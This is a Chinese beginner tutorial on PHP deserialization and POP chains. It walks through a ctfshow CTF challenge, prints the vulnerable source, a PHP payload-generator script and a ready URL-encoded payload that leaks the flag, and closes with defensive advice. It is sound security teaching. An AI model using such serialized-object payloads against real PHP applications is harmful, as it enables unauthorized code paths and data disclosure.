PHP 反序列化漏洞与 POP 链详解:网络安全小白从零入门

文章目录

    • [0. 前言](#0. 前言)
    • [1. 什么是序列化与反序列化?](#1. 什么是序列化与反序列化?)
    • [2. 什么是 POP 链?](#2. 什么是 POP 链?)
      • [常用魔术方法(POP 链必备)](#常用魔术方法(POP 链必备))
    • [3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)](#3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?))
    • [4. 这道题的 POP 链完整流程](#4. 这道题的 POP 链完整流程)
    • [5. Payload 生成脚本(本地运行即可)](#5. Payload 生成脚本(本地运行即可))
    • [6. 实际利用效果](#6. 实际利用效果)
    • [7. 如何防范反序列化漏洞?](#7. 如何防范反序列化漏洞?)
    • [8. 总结](#8. 总结)

0. 前言

今天这篇文章,笔者会从CTF学习的角度,从零带你搞懂:

  • 什么是序列化 / 反序列化?
  • 什么是 POP 链?
  • 如何构造一条简单的 POP 链?
  • CTF 例题(小舔田?)完整解析

读完后,你不仅能自己构造 payload,还能理解为什么反序列化是 Web 安全里"高危漏洞"之一。


1. 什么是序列化与反序列化?

序列化(serialize) :把 PHP 的对象、数组等复杂数据,变成一个字符串,方便存储到文件、数据库或通过网络传输。

反序列化(unserialize) :把这个字符串再变回原来的对象

简单代码演示

php 复制代码
<?php
class User {
    public $name = "张三";
    public $age = 18;
}

$user = new User();
$serialized = serialize($user);     // 对象 → 字符串
echo $serialized;                   // 输出:O:4:"User":2:{s:4:"name";s:6:"张三";s:3:"age";i:18;}

$newUser = unserialize($serialized); // 字符串 → 对象
var_dump($newUser);                 // 又变回 User 对象
?>

正常用途:保存用户会话、缓存数据、API 通信。

漏洞产生原因 :如果程序直接把用户可控的字符串 传给 unserialize(),攻击者就能"变出"任意对象,并触发对象里的代码!

php 复制代码
// 危险代码(真实漏洞常见写法)
if (isset($_GET['data'])) {
    $obj = unserialize($_GET['data']);   // ← 用户输入直接反序列化!
}

2. 什么是 POP 链?

POP = Property Oriented Programming(面向属性编程)

它和二进制里的 ROP(Return Oriented Programming)思想一模一样:

  • ROP:在内存里找很多小代码片段,通过栈溢出把它们"链"起来执行 shell。
  • POP:在 PHP 代码里找已经存在的类和方法 (尤其是魔术方法),通过控制对象的属性(property),把这些方法"链"起来,最终执行我们想要的操作(输出 flag、写文件、命令执行等)。

核心思路
unserialize() → 触发魔术方法 → 触发下一个方法 → ... → 执行敏感代码

POP 链的"发动机"就是 PHP 魔术方法 (Magic Methods)。它们不需要手动调用,在特定时机自动触发

常用魔术方法(POP 链必备)

魔术方法 触发时机 常见用途
__wakeup() 对象被 unserialize() 后立刻触发 最常见的 POP 链起点
__toString() 对象被当作字符串使用时触发(如 echo $obj 字符串拼接、输出
__destruct() 对象被销毁时触发(脚本结束) 延迟执行
__invoke() 对象被当作函数调用时触发 ($obj()) 执行任意函数
__get() 访问不存在的属性时触发 属性劫持

3. 真实 CTF 题目解析( ctfshow-菜狗杯-小舔田?)

下面是题目源码:

php 复制代码
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}


以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人

默认访问 (不带 code)会输出牛夫人的台词。


4. 这道题的 POP 链完整流程

链路
Moon::__wakeup() → Ion_Fan_Princess::__toString() → Ion_Fan_Princess::call()

一步步拆解

  1. unserialize($_GET['code']) → 反序列化得到 Moon 对象
  2. 自动触发 Moon::__wakeup()
  3. __wakeup() 执行 echo "我是" . $this->name . "快来赏我";
    • 因为 $this->nameIon_Fan_Princess 对象,PHP 会自动调用它的 __toString()
  4. __toString() 先执行 $this->call()
  5. call() 判断 $nickname == "小甜甜"echo $flag

我们只需要构造

  • 一个 Moon 对象
  • 把它的 $name 属性设置为 Ion_Fan_Princess 对象
  • Ion_Fan_Princess$nickname 设置为 "小甜甜"

5. Payload 生成脚本(本地运行即可)

php 复制代码
<?php
class Moon {
    public $name;          // 我们要控制的属性
}

class Ion_Fan_Princess {
    public $nickname;      // 要设置为"小甜甜"
}

// 构造对象
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname = "小甜甜";

// 生成 payload
$payload = serialize($a);
echo "原始序列化字符串:\n" . $payload . "\n\n";
echo "URL 编码后(直接用于 ?code= 后面):\n" . urlencode($payload) . "\n";
?>

运行后得到的 URL 编码 payload(直接复制使用):

复制代码
?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

6. 实际利用效果

访问题目地址 + 上面 payload 后:

  • 先触发 __wakeup() 输出 "我是小甜甜快来赏我"
  • 然后 __toString() 调用 call()
  • 最终输出 flag

7. 如何防范反序列化漏洞?

  1. 永远不要直接反序列化用户输入

    php 复制代码
    // 正确做法
    if (isset($_GET['data'])) {
        $data = json_decode($_GET['data'], true);  // 优先用 JSON
    }
  2. 使用白名单类(PHP 7.4+ 推荐)

    php 复制代码
    unserialize($str, ['allowed_classes' => ['AllowedClass1', 'AllowedClass2']]);
  3. 禁用魔术方法 (高级)

    __wakeup() 中抛异常或返回 false。

  4. 代码审计 checklist

    • 搜索 unserialize(base64_decode( + unserialize
    • 检查是否有 __wakeup__destruct 等魔术方法
    • 检查全局变量(如 $flag)是否可被读取

8. 总结

一句话总结

反序列化漏洞 = 程序帮攻击者"变出"任意对象;POP 链 = 用对象属性把魔术方法像搭积木一样连起来,最终执行敏感代码。

这道题的 POP 链 就是最基础的教学案例:__wakeup__toString → 普通方法 call()

最后思考 :安全从来不是"加固",而是"从设计之初就拒绝不信任的输入"。下次看到 unserialize 就要警惕!

相关推荐
liang_jy5 小时前
Android SparseArray
android·源码
liang_jy5 小时前
Activity 启动流程扩展篇(一)—— startActivityInner 任务决策全解析
android·源码
NPE~6 小时前
[App逆向]脱壳实战
android·教程·逆向·android逆向·逆向分析
木易 士心7 小时前
别再只会用 drawCircle 了!一文搞懂 Android Canvas 底层机制
android
AtOR CUES8 小时前
MySQL——表操作及查询
android·mysql·adb
怣疯knight9 小时前
安卓App无法增加自定义图片作为图标功能
android
dog25010 小时前
圆锥曲线和二次曲线
开发语言·网络·人工智能·算法·php
jinanwuhuaguo11 小时前
OpenClaw联邦之心——从孤岛记忆到硅基集体潜意识的拓扑学革命(第二十三篇)
android·人工智能·kotlin·拓扑学·openclaw
捉鸭子11 小时前
某音a_bogus vmp逆向
爬虫·python·web安全·node.js·js
Gary Studio12 小时前
安卓HAL C++基础-命名域
android